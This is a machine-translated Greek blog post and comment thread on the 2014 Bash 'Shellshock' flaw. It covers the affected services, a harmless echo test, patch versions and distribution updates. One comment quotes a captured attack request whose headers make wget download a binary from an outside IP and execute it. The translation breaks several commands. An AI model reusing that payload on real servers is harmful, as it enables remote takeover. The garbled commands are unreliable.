Bash: Εντοπίστηκε νέα ευπάθεια (και διορθώθηκε)

Τρέχει σαν πυρκαγιά σε μερικά blogs, μια ιστορία που δημοσιεύτηκε στο blog ασφαλείας de Red Hat σχετικά με μια ευπάθεια που βρέθηκε στο Bash λόγω κακής χρήσης των παγκόσμιων μεταβλητών. Σύμφωνα με τα πρωτότυπα νέα:

«… Η ευπάθεια οφείλεται στο γεγονός ότι μπορούν να δημιουργηθούν μεταβλητές περιβάλλοντος με ειδικά κατασκευασμένες τιμές πριν καλέσουν το κέλυφος bash. Αυτές οι μεταβλητές μπορούν να περιέχουν κώδικα που εκτελείται μόλις κληθεί το κέλυφος. Το όνομα αυτών των επεξεργασμένων μεταβλητών δεν έχει σημασία, μόνο το περιεχόμενό τους. Ως αποτέλεσμα, αυτή η ευπάθεια εκτίθεται σε πολλά πλαίσια, για παράδειγμα:

  • Δύναμη εντολής Χρησιμοποιείται σε διαμορφώσεις sshd για την παροχή περιορισμένων δυνατοτήτων εκτέλεσης εντολών για απομακρυσμένους χρήστες. Αυτό το ελάττωμα μπορεί να χρησιμοποιηθεί για να αποφευχθεί αυτό και να παρέχει αυθαίρετη εκτέλεση εντολών. Ορισμένες εφαρμογές Git και Subversion χρησιμοποιούν τέτοια περιορισμένα κελύφη. Η τακτική χρήση του OpenSSH δεν επηρεάζεται καθώς οι χρήστες έχουν ήδη πρόσβαση σε μια κονσόλα.
  • Ο διακομιστής Apache που χρησιμοποιεί mod_cgi ή mod_cgid επηρεάζεται εάν τα σενάρια CGI γράφονται τόσο σε bash είτε σε sublevels. Τέτοια sublevels χρησιμοποιούνται σιωπηρά από το σύστημα / popen στο C, από το os.system / os.popen στο Python, εάν χρησιμοποιείτε κέλυφος συστήματος / exec στην PHP (όταν εκτελείται σε λειτουργία CGI) και ανοίξτε / σύστημα στο Perl (το οποίο εξαρτάται από τη συμβολοσειρά εντολών).
  • Τα σενάρια PHP που εκτελούνται με το mod_php δεν επηρεάζονται ακόμη και αν παίζονται τα υποστρώματα.
  • Οι πελάτες DHCP καλούν σενάρια κελύφους για να διαμορφώσουν το σύστημα, με τιμές που λαμβάνονται από δυνητικά κακόβουλο διακομιστή. Αυτό θα επέτρεπε την εκτέλεση αυθαίρετων εντολών, συνήθως ως root, στον υπολογιστή-πελάτη DHCP.
  • Διάφοροι δαίμονες και προγράμματα με προνόμια SUID μπορούν να εκτελέσουν σενάρια κελύφους με τις τιμές μεταβλητής περιβάλλοντος που ορίζονται / επηρεάζονται από τον χρήστη, κάτι που θα επέτρεπε την εκτέλεση αυθαίρετων εντολών.
  • Οποιαδήποτε άλλη εφαρμογή που συνδέεται με ένα κέλυφος ή εκτελεί ένα σενάριο κελύφους όπως η χρήση του bash ως διερμηνέα. Τα σενάρια Shell που δεν εξάγουν μεταβλητές δεν είναι ευάλωτα σε αυτό το πρόβλημα, ακόμη και αν επεξεργάζονται μη αξιόπιστο περιεχόμενο και το αποθηκεύουν σε Οι μεταβλητές κελύφους (αριστερά) και τα δευτερεύοντα επίπεδα ανοίγουν.

... "

Πώς να ξέρω εάν επηρεάζεται το bash μου;

Λαμβάνοντας υπόψη αυτό, υπάρχει ένας πολύ απλός τρόπος να μάθουμε εάν επηρεαζόμαστε από αυτήν την ευπάθεια. Στην πραγματικότητα, δοκίμασα τον Antergos μου και προφανώς δεν έχω κανένα πρόβλημα. Αυτό που πρέπει να κάνουμε είναι να ανοίξουμε ένα τερματικό και να βάλουμε:

env x = '() {:;}; echo ευπαθές 'bash -c "echo this is a test"

Εάν βγει με αυτόν τον τρόπο δεν έχουμε κανένα πρόβλημα:

env x = '() {:;}; echo ευάλωτο «bash -c" echo this is a test "bash: προειδοποίηση: x: αγνοώντας τον ορισμό συνάρτησης απόπειρα bash: σφάλμα εισαγωγής ορισμού συνάρτησης για" x "αυτό είναι μια δοκιμή

Εάν το αποτέλεσμα είναι διαφορετικό, θα πρέπει να χρησιμοποιήσετε τα κανάλια ενημέρωσης των προτιμώμενων διανομών μας για να δείτε εάν έχουν ήδη εφαρμόσει την ενημέρωση κώδικα. Γνωρίζετε λοιπόν 😉

Ενημερώθηκε: Αυτή είναι η έξοδος από έναν συνεργάτη που χρησιμοποιεί το Ubuntu 14:04:

env x = '() {:;}; echo ευπαθές 'bash -c "echo this is a test" ευπαθές αυτό είναι ένα τεστ

Όπως μπορείτε να δείτε, μέχρι στιγμής είναι ευάλωτο.


Αφήστε το σχόλιό σας

Η διεύθυνση email σας δεν θα δημοσιευθεί. Τα υποχρεωτικά πεδία σημειώνονται με *

*

*

  1. Υπεύθυνος για τα δεδομένα: Miguel Ángel Gatón
  2. Σκοπός των δεδομένων: Έλεγχος SPAM, διαχείριση σχολίων.
  3. Νομιμοποίηση: Η συγκατάθεσή σας
  4. Κοινοποίηση των δεδομένων: Τα δεδομένα δεν θα κοινοποιούνται σε τρίτους, εκτός από νομική υποχρέωση.
  5. Αποθήκευση δεδομένων: Βάση δεδομένων που φιλοξενείται από τα δίκτυα Occentus (ΕΕ)
  6. Δικαιώματα: Ανά πάσα στιγμή μπορείτε να περιορίσετε, να ανακτήσετε και να διαγράψετε τις πληροφορίες σας.

  1.   Gerson dijo

    Έχω το Kubuntu 14.04 από 64 και έχω επίσης:

    env x = '() {:;}; echo ευπαθές 'bash -c "echo this is a test"
    ευάλωτες
    αυτό είναι ένα τεστ

    Έχω ήδη ενημερώσει, αλλά δεν διορθώνει. Τι να κάνω?

    1.    Έλαβ dijo

      Περιμένετε να ενημερωθούν. Έχει ήδη ενημερωθεί το eOS .. 😀

    2.    Γιάννης dijo

      Πόσο περίεργο, έχω επίσης το Kubuntu 14.04

      $ env x = '() {:;}; echo ευπαθές 'bash -c "echo this is a test"
      bash: προειδοποίηση: x: αγνοώντας την προσπάθεια ορισμού λειτουργίας
      bash: ορισμός λειτουργίας εισαγωγής σφάλματος για το "x"
      αυτό είναι ένα τεστ

      1.    Γιάννης dijo

        Προσθέτω ότι η έκδοση του πακέτου "bash" που κατεβάστηκε σήμερα είναι:
        4.3-7 Ubuntu1.1

        http://packages.ubuntu.com/trusty/bash

    3.    eliotime3000 dijo

      Στην περίπτωσή μου, δίνοντας την εντολή, μου δίνει ακριβώς τα ακόλουθα στο τερματικό:

      >

      Τέλος πάντων, το αστείο είναι ότι ενημέρωσα το Debian Wheezy και αυτό με πέταξε.

      1.    Γιουκιτέρου dijo

        Το Wheezy εξακολουθεί να είναι ευάλωτο στο δεύτερο μέρος του σφάλματος, τουλάχιστον για το απόγευμα (UTC -4: 30) το πρόβλημα εξακολουθούσε να ακολουθεί: /

  2.   πετροχέκο dijo

    Μόλις επαλήθευσα ότι μετά την εφαρμογή μιας ενημέρωσης σήμερα το πρωί, ούτε το Slackware ούτε το Debian ούτε το Centos επηρεάζονται καθώς έλαβαν αντίστοιχη ενημέρωση.

    Τι κάνει το Ubuntu ακόμα ευάλωτο σε αυτήν την ώρα; Και πες μου ότι είναι ασφαλές: Δ.

    1.    Γιάννης dijo

      Αλλά δοκιμάσατε να ενημερώσετε το Ubuntu;
      Με τη σημερινή ενημέρωση το έχουν επίσης διορθώσει.

      1.    πετροχέκο dijo

        OK

    2.    robet dijo

      Οι ειδικοί ασφαλείας προειδοποιούν για την ευπάθεια του «Bash», θα μπορούσε να αποτελέσει μεγαλύτερη απειλή για τους χρήστες λογισμικού Linux από το σφάλμα Heartbleed, όπου οι χάκερ μπορούν να εκμεταλλευτούν ένα σφάλμα στο Bash για να πάρουν τον πλήρη έλεγχο ενός συστήματος.
      Ο Tod Beardsley, διευθυντής μηχανικής στην εταιρεία κυβερνοασφάλειας Rapid7, προειδοποίησε ότι το ελάττωμα βαθμολογήθηκε ως 10 για τη σοβαρότητά του, πράγμα που σημαίνει ότι έχει το μέγιστο αντίκτυπο και βαθμολογείται ως «χαμηλό» για την πολυπλοκότητα της εκμετάλλευσης, πράγμα που είναι σχετικά εύκολο για τον «χάκερ» επιθέσεις. Χρησιμοποιώντας αυτήν την ευπάθεια, οι εισβολείς μπορούν δυνητικά να πάρουν τον έλεγχο του λειτουργικού συστήματος, να αποκτήσουν πρόσβαση σε εμπιστευτικές πληροφορίες, να κάνουν αλλαγές κ.λπ. ", δήλωσε ο Beardsley. "Όποιος διαθέτει συστήματα που καταλαμβάνουν το Bash θα πρέπει να εφαρμόσει αμέσως το έμπλαστρο", πρόσθεσε.
      ΤΙ ΠΡΕΠΕΙ ΝΑ ΓΝΩΡΙΖΕΤΕ ΠΡΙΝ ΑΥΤΗ ΤΗΝ ΕΚΘΕΣΗ ΠΟΥ ΠΑΡΕΧΕΙ ΤΟ ΠΑΛΑΙΟ ΕΡΓΑΛΕΙΟ (GNU) όπου φιλοξενείται το Bach, θα ήταν πιο βολικό για το λογισμικό Linux να απαλλαγεί από το GNU και να αλλάξει για το εργαλείο BSD.

      PS: μην λογοκρίνετε την ελευθερία μου έκφρασης, ... μην προσβάλλετε κανέναν, ... μην διαγράφετε το μήνυμά μου όπως το προηγούμενο μήνυμα που έχω διαγράψει!

      1.    Ξέριξ dijo

        Ω παρακαλώ, μην το παρακάνετε. Πώς απεχθάνομαι εκείνους τους ανθρώπους που χρησιμοποιούν BSD και περιφρονώ το GNU, το Linux ή οτιδήποτε άλλο από αυτά τα έργα.

      2.    πετροχέκο dijo

        Είμαι μαζί σας και έχετε απόλυτο δίκιο ως προς τη σοβαρότητα αυτής της τρύπας.

      3.    διαζεπάνη dijo

        Δεν ήταν λογοκρισία, ήταν πλεονασμός (είχατε το ίδιο σχόλιο στην ανάρτηση gnome 3.14)

      4.    Προσωπικό dijo

        «… Και βαθμολογήθηκε« ΧΑΜΗΛΗ »ΓΙΑ ΤΗ ΣΥΜΠΛΗΡΩΣΗ της εκμετάλλευσης, που σημαίνει ότι είναι σχετικά ΕΥΚΟΛΟ για επιθέσεις χάκερ

        Είναι η ασυμφωνία αισθητή;
        Πώς μπορεί να είναι εύκολο να εκμεταλλευτείτε την ευπάθεια και ταυτόχρονα να έχετε ένα «χαμηλό» επίπεδο κινδύνου επειδή είναι τόσο περίπλοκο στη χρήση;
        Είναι ένα σφάλμα που επιλύθηκε μέσα σε λίγες ώρες από το να γνωρίζουν ο ένας τον άλλον και ότι, όπως είναι πολύτιμο, δεν έχει αναφορές εκμετάλλευσης (Φυσικά, αυτό έχει λιγότερο χρόνο να γνωρίζει ο ένας τον άλλο)
        Είναι περισσότερο πινακοειδής τύπος παρά πραγματικός κίνδυνος.

      5.    πετροχέκο dijo

        Το @Staff σας φαίνεται ασήμαντο; Τι θα μου πεις τώρα;

        GET./.HTTP/1.0
        . Χρήστης-πράκτορας:. Ευχαριστώ-Rob
        .Cookie: (). {.:;.};. Wget.-O./tmp/besh.http://162.253.66.76/nginx.chmod.777. / tmp / besh; ./ tmp / besh;
        .Host: (). {.:;.};. Wget.-O./tmp/besh.http://162.253.66.76/nginx.chmod.777. / tmp / besh; ./ tmp / besh;
        .Referer: (). {.:;.};. Wget.-O./tmp/besh.http://162.253.66.76/nginx.chmod.777. / tmp / besh; ./ tmp / besh;
        Αποδοχή:. * / *

        $ αρχείο nginx
        nginx: ELF 32-bit LSB εκτελέσιμο, Intel 80386, έκδοση 1 (SYSV), στατικά συνδεδεμένο, για GNU / Linux 2.6.18, απογυμνωμένο

        $md5sum nginx
        5924bcc045bb7039f55c6ce29234e29a nginx

        $sha256sum nginx
        73b0d95541c84965fa42c3e257bb349957b3be626dec9d55efcc6ebcba6fa489 nginx

        Ξέρεις τι είναι? Λίγο επικίνδυνο τίποτα ...

      6.    Γιουκιτέρου dijo

        Η κατάσταση είναι αρκετά σοβαρή, αλλά από εκεί για να πω ότι πρέπει να σταματήσετε να χρησιμοποιείτε bash για μια επιλογή BSD, είναι ήδη το πολύ, ούτως ή άλλως η ενημέρωση είναι ήδη εκεί, απλώς αγγίζω την ενημέρωση και τίποτα άλλο.

        Τώρα το PD, νομίζω ότι είναι περισσότερο από έναν συνάδελφο @robet, δεν νομίζω ότι οι διαχειριστές εδώ είναι αφιερωμένοι στη διαγραφή σχολίων όπως αυτό γιατί ναι, επειδή, από τότε που συμμετείχα σε αυτήν την κοινότητα είχα αυτό το συναίσθημα και ελπίζω μένει έτσι.

        Χαιρετισμούς.

      7.    Έλαβ dijo

        Βάζετε το ίδιο ακριβώς σχόλιο σε δύο διαφορετικές δημοσιεύσεις. Αν προσπαθείτε να προωθήσετε "την πηγή" της ιστορίας, συγνώμη, αυτό δεν είναι το κατάλληλο μέρος.

      8.    mario dijo

        Το Bash προέρχεται από το Unix (και τον κλώνο του GNU). Τα συστήματα που βασίζονται σε BSD όπως το OSX επηρεάζονται επίσης, και σύμφωνα με τη Genbeta, δεν το έχουν διορθώσει ακόμα. Ομοίως, για να αποκτήσετε πρόσβαση στο Bash χρειάζεστε λογαριασμό χρήστη, είτε τοπικό είτε μέσω SSH.

      9.    Γιουκιτέρου dijo

        @Προσωπικό:

        1.- Κατατάσσεται ως Επίπεδο 10 (μέγιστο επίπεδο κινδύνου) λόγω του όγκου των υπηρεσιών που μπορεί να επηρεαστούν από το σφάλμα. Στην κύρια σημείωση κάνουν αυτό το γεγονός πολύ ξεκάθαρο, υποστηρίζοντας ότι το σφάλμα μπορεί να επηρεάσει υπηρεσίες όπως apache, sshd, προγράμματα με δικαιώματα suid (xorg, μεταξύ άλλων).

        2.- Κατατάσσεται ως χαμηλό επίπεδο δυσκολίας, όταν πρόκειται για την εφαρμογή του, και το καλύτερο παράδειγμα αυτού είναι το σενάριο δοκιμής ευπάθειας που έχει τοποθετήσει το @elav στην ανάρτηση. Πολύ δύσκολο να εφαρμοστεί δεν είναι, όπως μπορείτε να δείτε.

        Δεν βλέπω πλεονασμό στις πληροφορίες (βλέπω μόνο μια μετάφραση Google) και εάν το πρόβλημα είναι αρκετά σοβαρό, και όπως λέτε, έχει ήδη μια ενημέρωση κώδικα και μια λύση, αλλά όχι για αυτό, δεν αποτελεί πλέον κίνδυνο, και ένα πραγματικά αληθινό.

      10.    Προσωπικό dijo

        @petercheco / @Yukiteru

        Μην με παρεξηγείτε, νομίζω ότι είναι ξεκάθαρο ότι η κριτική μου είναι η είδηση ​​που συνδέει η Robet και εστιάζει στην ασυμφωνία και όχι στον πλεονασμό.

        Με τον ίδιο τρόπο, πρέπει να κάνουμε διάκριση μεταξύ κινδύνου και κινδύνου (δεν αναφέρω τον τελευταίο), τα χρησιμοποιούμε συνήθως ως συνώνυμα, αλλά εδώ, ο κίνδυνος θα ήταν η ικανότητα βλάβης του σφάλματος και θα διακινδυνεύσουμε την πιθανότητα εμφάνισής του.
        Στη συγκεκριμένη περίπτωση, μπήκα από χθες. Δεν ήταν για λίστες αλληλογραφίας ή κάτι τέτοιο. Ήταν για διανομή επιτραπέζιου υπολογιστή! Πήρα το τηλέφωνο και έστειλα ένα μήνυμα στο sysadmin με τον σύνδεσμο και επιβεβαίωσα ότι είχα όλα τα επιδιορθωμένα και μετά με συγχωρείτε αλλά αυτά τα νέα δεν με κρατούν ξύπνιο.

      11.    robet dijo

        Σε άλλα φόρουμ αναφέρουν για την ευπάθεια του Bash, «τη λύση που κυκλοφόρησαν οι Debian και Ubuntu», αλλά σήμερα ανακάλυψαν ότι υπάρχει ακόμη ένα θέμα ευπάθειας, οπότε η λύση ήταν ελλιπής, το αναφέρουν αυτό!

        Βλέπω ότι πολλοί με έχουν επικρίνει για το απλό γεγονός της αποτροπής των ανθρώπων από τη σοβαρότητα της ευπάθειας - που πιστοποιείται με επίπεδο 10 μέγιστου κινδύνου και αναφέροντας πιθανές λύσεις στο Λογισμικό Linux έναντι του ξεπερασμένου εργαλείου GNU όπου φιλοξενείται το Bash τέλεια το GNU θα μπορούσε να αντικατασταθεί με το εργαλείο BSD στο Λογισμικό Linux,… Χρησιμοποιώ επίσης Linux και μου αρέσει το Linux!

        Διευκρινίζω ότι το Bash δεν έρχεται από προεπιλογή εγκατεστημένο στο BSD, είναι ένα ακόμη πακέτο συμβατότητας Linux που μπορεί να εγκατασταθεί στο BSD ... ναι !. Και η πηγή τοποθετείται έτσι ώστε να μπορούν να ελέγχουν τις ειδήσεις, καθώς πολλοί από τους χρήστες μερικές φορές δεν πιστεύουν το μήνυμα ή το σχόλιο.

        1.    Έλαβ dijo

          robet: Όπως σας έχουν πει ξανά και ξανά, έχετε ήδη τοποθετήσει το σχόλιό σας με τα νέα σε μια ανάρτηση, δεν χρειάζεται να το τοποθετήσετε σε κάθε ανάρτηση που σχολιάζετε.

          Στο bash, υπάρχουν και άλλα κελύφη που μπορούν να χρησιμοποιηθούν σε περίπτωση που το Bash είναι ευάλωτο. 😉

      12.    mario dijo

        Robet, για το οποίο ξέρω ότι δεν υπάρχει λογισμικό που να συνδυάζει τον πυρήνα linux με τη χώρα χρήστη του BSD. Το πιο κοντινό είναι το αντίστροφο, το kBSD + GNU, όπως κάνουν οι Gentoo και Debian. Άλλωστε, το GNU (1983) δεν θα μπορούσε να ονομαστεί «παλιομοδίτικο» αν είναι μετά το BSD (1977). Και οι δύο μοιράζονται το unix root τους (αλλά όχι τον κωδικό), δεν θα υπήρχε "συμβατότητα Linux" εάν το Bash δημιουργήθηκε όταν ο Linus T ήταν ακόμα παιδί.

  3.   μανουελπερεζφ dijo

    uff, η δοκιμή του debian αυτή τη στιγμή είναι "ευάλωτη" τι σερί έχουμε ...

    1.    mrcelhw dijo

      Χρησιμοποιώ το Debian Testing και ακόμη και σε αυτόν τον κλάδο έχουμε λάβει την ενημέρωση bash

  4.   διαζεπάνη dijo

    σύμφωνα με το genbeta υπάρχει επίσης μια άλλη ευπάθεια
    http://seclists.org/oss-sec/2014/q3/685

    η εντολή να συμβουλευτείτε είναι
    env X = '() {(a) => \' sh -c "ηχώ ευάλωτη"; bash -c "echo Failure 2 unatched"

    1.    Έλαβ dijo
      env X = '() {(a) => \' sh -c "ηχώ ευάλωτη"; bash -c "echo Unpatched Failure 2" sh: X: line 1: syntactic error near element element "= 'sh: X: line 1:" sh: ορισμός συνάρτησης εισαγωγής σφάλματος για το "X" sh: ευάλωτο: η εντολή δεν βρέθηκε Αποτυχία 2 χωρίς ενημέρωση κώδικα
      
      1.    διαζεπάνη dijo

        το ίδιο εγώ.

      2.    Γκίσκαρντ dijo

        Το ίδιο και εδώ. Αλλά το αρχικό σφάλμα στην ανάρτηση διορθώθηκε στο (L) Ubuntu 14.04

      3.    x11tete11x dijo

        Αντί να κάνω μια απλή ηχώ, προσπαθήστε να την εκτελέσει μια οδηγία που απαιτεί προνόμια, ρίχνω "ανεπαρκή δικαιώματα" ... αυτό το σφάλμα δεν αυξάνει τα προνόμια; Εάν δεν κλιμακώσει τα προνόμια, τότε δεν είναι τόσο επικίνδυνο όσο το ζωγραφίζουν.

      4.    Xurxo dijo

        Εχεις δίκιο!! ήταν δύο ευπάθειες ...

        Για μένα στο Linux Mint 17 μετά τη δεύτερη ενημέρωση bash που έβαλαν χθες το βράδυ στα αποθετήρια του Ubuntu, όταν εκτελούσαν αυτήν την εντολή, το κέλυφος προσφέρει αυτήν την έξοδο:

        env X = '() {(a) => \' sh -c "ηχώ ευάλωτη"; bash -c "echo Fail 2 unatched"
        >

        Η έκδοση του "bassh" που τοποθετήθηκε στα αποθετήρια του Ubuntu για να ενημερώσει τα προηγούμενα είναι:

        4.3-7 Ubuntu1.2

        Σε συστήματα που προέρχονται από το Debian μπορείτε να ελέγξετε την εγκατεστημένη έκδοση με αυτήν την εντολή:

        dpkg -s bash | grep Έκδοση

        Σε κάθε περίπτωση, θα πρέπει να αποσαφηνιστεί, τουλάχιστον για χρήστες Debian, Ubuntu και Mint. Δεν πρέπει να ανησυχείτε πολύ για προγράμματα που εκτελούν σενάρια με την κεφαλίδα #! / Bin / sh, επειδή σε αυτές τις διανομές / το bin / sh δεν καλεί "bash", αλλά συνδέεται με το κέλυφος "dash" (η παύλα είναι :)

        Η κονσόλα Debian Alchemist (παύλα) είναι μια παράγωγη κονσόλα POSIX
        της τέφρας.
        .
        Επειδή εκτελεί σενάρια γρηγορότερα από το bash και έχει λιγότερες εξαρτήσεις
        βιβλιοθήκες (καθιστώντας την πιο ισχυρή έναντι αποτυχιών λογισμικού ή
        υλικό), χρησιμοποιείται ως προεπιλεγμένη κονσόλα συστήματος σε συστήματα
        Ντέμπιαν.

        Έτσι, τουλάχιστον στο Ubuntu, το "bash" χρησιμοποιείται ως κέλυφος για σύνδεση χρήστη (επίσης για τον χρήστη root). Ωστόσο, οποιοσδήποτε χρήστης μπορεί να χρησιμοποιήσει ένα άλλο κέλυφος από προεπιλογή για τον χρήστη και τις κονσόλες ρίζας (τερματικά).

        Είναι εύκολο να ελέγξετε ότι το κέλυφος εκτελεί τα σενάρια (#! / Bin / sh) εκτελώντας αυτές τις εντολές:

        αρχείο / bin / sh
        (η έξοδος είναι / bin / sh: συμβολικός σύνδεσμος στο "dash") ακολουθούμε το ίχνος που επαναλαμβάνει την εντολή

        αρχείο / bin / παύλα
        (η έξοδος είναι / bin / dash: ELF 64-bit LSB κοινό αντικείμενο, x86-64, έκδοση 1 (SYSV), έτσι αυτό είναι το εκτελέσιμο.

        Αυτά είναι τα αποτελέσματα σε μια διανομή Linux Mint 17. Σε άλλες διανομές που δεν βασίζονται στο Ubuntu / Debian μπορεί να είναι διαφορετικές.

        Δεν είναι δύσκολο να αλλάξετε το προεπιλεγμένο κέλυφος !! μπορείτε ακόμη και να χρησιμοποιήσετε διαφορετικό για τους χρήστες και για τον ριζικό χρήστη. Στην πραγματικότητα πρέπει απλώς να εγκαταστήσετε το κέλυφος της επιλογής σας και να αλλάξετε την προεπιλογή με την εντολή "chsh" ή με την επεξεργασία του αρχείου / etc / passwd (αν και οι χρήστες που δεν γνωρίζουν τις συνέπειες ενός σφάλματος κατά την επεξεργασία του αρχείου "passwd", Είναι καλύτερα να ενημερώνονται πολύ καλά και πριν το επεξεργαστούν, να κάνουν ένα αντίγραφο του πρωτοτύπου σε περίπτωση που είναι απαραίτητο να το ανακτήσουν).

        Νιώθω πιο άνετα με το "tcsh" (το tcsh είναι :)

        Η κονσόλα TENEX C, μια βελτιωμένη έκδοση του Berkeley csh

        Το "Csh" είναι αυτό που χρησιμοποίησε το Mac OS X πριν από μερικά χρόνια. Κάτι λογικό λαμβάνοντας υπόψη ότι μεγάλο μέρος του λειτουργικού συστήματος της Apple είναι κωδικός FreeBSD. Τώρα από όσα διάβασα χθες, φαίνεται ότι παρέχουν επίσης "bash" για τερματικά χρηστών.

        ΣΥΜΠΕΡΑΣΜΑΤΑ:

        - Έχουν ήδη διανεμηθεί ενημερωμένες εκδόσεις "bash" για τις πιο διαδεδομένες διανομές
        - "bash" έκδοση 4.3-7ubuntu1.2 και νεότερη έκδοση δεν περιέχει αυτά τα σφάλματα
        - Δεν είναι υποχρεωτικό να χρησιμοποιείτε το "bash" στο OS * Linux
        - Λίγοι * Διανομές Linux συνδέουν #! / Bin / sh με το "bash"
        - Υπάρχουν εναλλακτικές λύσεις: τέφρα, παύλα, csh, tcsh και άλλες
        - Δεν είναι περίπλοκο να αλλάξετε το προεπιλεγμένο κέλυφος που καλεί το σύστημα κατά το άνοιγμα ενός τερματικού
        - Λίγες μικρές συσκευές (δρομολογητές και άλλες) χρησιμοποιούν το "bash", επειδή είναι πολύ μεγάλο !!

      5.    Xurxo dijo

        Αυτή τη στιγμή μόλις έφτασε μια άλλη ενημέρωση που εγκαθιστά μια άλλη έκδοση του "bash" 4.3-7ubuntu1.3

        Για Linux Mint 17 και Ubuntu 14.04.1 LTS

        1.    Έλαβ dijo

          Το ArchLinux μπήκε στην έκδοση bash-4.3.026-1

    2.    robet dijo

      @ Xurxo… .csh από το Μπέρκλεϋ ;,… Καταλαβαίνετε κάτι για αυτό που μιλάω παραπάνω και είναι καλύτερο να χρησιμοποιήσετε το BSD “csh”… αντί για το παλιό εργαλείο GNU όπου φιλοξενείται το Bash. Αυτό το εργαλείο είναι το καλύτερο για το λογισμικό Linux.

  5.   χωρίς όνομα dijo

    Υποθέτω ότι αυτό είναι το σφάλμα

    https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=762760

    αληθής?

  6.   Gonzalo dijo

    Και ποια θα ήταν η λύση;

    1.    Έλαβ dijo

      Περιμένετε να ενημερώσουν το πακέτο στη διανομή σας 😉

  7.   διαζεπάνη dijo

    Το σφάλμα βαφτίστηκε ως κελύφος
    http://www.theregister.co.uk/2014/09/24/bash_shell_vuln/

  8.   Πάμπλο Ιβάν Κορέα dijo

    ευάλωτες
    αυτό είναι ένα τεστ

    Δεν υπάρχει ενημέρωση κώδικα για το Ubuntu Studio 14.04 ακόμα

    1.    Τσουλούφι dijo

      Επισκευάστηκε στο Ubuntu Studio 14.04.1
      wisp @ ubuntustudio: ~ $ env x = '() {:;}; echo ευπαθές 'bash -c "echo this is a test"
      bash: προειδοποίηση: x: αγνοώντας την προσπάθεια ορισμού λειτουργίας
      bash: ορισμός λειτουργίας εισαγωγής σφάλματος για το "x"
      αυτό είναι ένα τεστ

  9.   οδικός dijo

    Στην πραγματικότητα είναι μια μικρή ευπάθεια, αν σας επηρεάζει, είναι ότι κάνατε κάτι λάθος πριν ...

    Επειδή ένα σενάριο bash που τρέχει με δικαιώματα root δεν πρέπει ποτέ να εκτίθεται σε έναν χρήστη. Και αν τρέχει χωρίς προνόμια, δεν υπάρχει τέτοια δυνατότητα εκγύμνασης. Στην πραγματικότητα, είναι ανόητο. Πολύ σκανδαλώδες.

    1.    Ξέριξ dijo

      Σκέφτομαι το ίδιο.

    2.    Προσωπικό dijo

      Ακριβώς, για να πουλήσετε περισσότερες εφημερίδες ή να λάβετε περισσότερες επισκέψεις, αυτά τα σφάλματα είναι καλά.
      Αλλά πάντα ξεχνούν να αναφέρουν ότι για να συμβιβαστεί ένας υπολογιστής με τέτοιου είδους σενάρια, πρέπει πρώτα να έχετε πρόσβαση στο bash και μετά να τον έχετε ως root.

      1.    Ντάρυο dijo

        προσωπικό εάν χρησιμοποιείτε apache με cgi, απλώς τοποθετήστε τις κεφαλίδες http ως cookie ή αναφέρετε τη λειτουργία που θέλετε να εκτελέσετε. Έχει χρησιμοποιηθεί ακόμη και για τη διάδοση σκουληκιών.

    3.    Ντάρυο dijo

      και αν κάποιος βάλει ένα κέλυφος σε έναν διακομιστή με ένα wget mishell.php, σε αυτήν την περίπτωση δεν είναι σοβαρό, έτσι;

    4.    eliotime3000 dijo

      Συμφωνώ μαζί σας. Σκέφτηκα ότι ήταν ένα τεράστιο σφάλμα όπως αυτό στο Heartbleed (ακόμη και η NSA παραχώρησε για να τροφοδοτήσει τη νοσηρότητα), αλλά στο τέλος ήταν ένα μικρό σφάλμα.

      Υπάρχουν και άλλα πραγματικά σοβαρά σφάλματα, όπως η τρελή κατανάλωση Flash και η πτώση της απόδοσης στο Pepper Flash Player, και αυτό που έχει ήδη διορθωθεί σφάλμα webRTC στο Chrome και στον Firefox.

  10.   Μπίντερμαν dijo

    Γνωρίζετε εάν έχει μια ρύθμιση για άτομα που έχουν Linux Mint 16;

  11.   Όσκαρ dijo

    Στις δοκιμές του Debian είχε ήδη διορθωθεί.

  12.   Γιογιό dijo

    Στις 5 διανομές μου επιλύεται, στο OS X δεν ξέρω.

    Παρακαλώ, μην λογοκρίνετε το σχόλιό μου, είπα OS X. Δεν ξέρω αν μπορείτε να πείτε OS X σε αυτόν τον ιστότοπο.

    1.    ταννχάουσερ dijo

      @yoyo καλά μην το φοβάσαι πάρα πολύ που εξακολουθούν να εργάζονται σε μερικές λεπτομέρειες του patch ... δοκιμάστε αυτό και μετά πείτε μου πώς XD

      env x = '() {:;}; echo ευπάθεια 'bash -c "echo Είμαι πιο ευάλωτη από το iphone 6 σκουπίδια"

      Αυτό αν το έχουν λύσει 100% πριν το OS X ποντάρω τίποτα

    2.    eliotime3000 dijo

      Λοιπόν, ακόμη και στην Ars Technica δίνουν τη σημασία για τον Bash στο OSX.

    3.    Έλαβ dijo

      @Yoyo επόμενο σχόλιο στο OS X για SPAM .. lla tu save .. 😛

  13.   ταννχάουσερ dijo

    @yoyo εκεί για να διορθώσετε τα αποσπάσματα ... αλλά τα υπόλοιπα ξέρετε 😉

    1.    eliotime3000 dijo

      Όπως έχουν γίνει υπερασπιστές με το OSX (επειδή το OSX εξακολουθεί να χρησιμοποιεί το Bash: v).

      Εν πάση περιπτώσει, δεν χρειάζεται να χάσω πολύ με τη Ντέμπια Τζέσι.

  14.   elhui2 dijo

    Εάν το σύστημα είναι ευάλωτο στο Cent OS:
    yum clean all && yum update bash

    για να δείτε την έκδοση bash:
    rpm -qa | grep bash

    Εάν η έκδοση είναι παλαιότερη από το bash-4.1.2-15.el6_5.1 το σύστημά σας ενδέχεται να είναι ευάλωτο!

    Χαιρετισμούς.

  15.   μανουελπερεζφ dijo

    Η 2η ευπάθεια δεν έχει ακόμη επιλυθεί

    env amvariable2 = '() {(a) => \' sh -c "echo amVulnerable"; bash -c "echo Failure 2 unatched"

  16.   Ο Ιησούς Περάλες dijo

    Ενημέρωση ...

  17.   διακόπτης dijo

    Το αντίθετο συμβαίνει σε μένα στο Gentoo, είμαι μόνο ευάλωτος στην πρώτη αποτυχία, αλλά με τη δεύτερη το παίρνω αυτό:
    [κωδικός] sh: X: γραμμή 1: συντακτικό σφάλμα κοντά σε μη αναμενόμενο στοιχείο "="
    sh: X: γραμμή 1: "
    sh: ορισμός συνάρτησης εισαγωγής σφάλματος για το "X"
    sh: ευπάθεια: η εντολή δεν βρέθηκε
    Το σφάλμα 2 δεν επιδιορθώθηκε
    [/ Code]
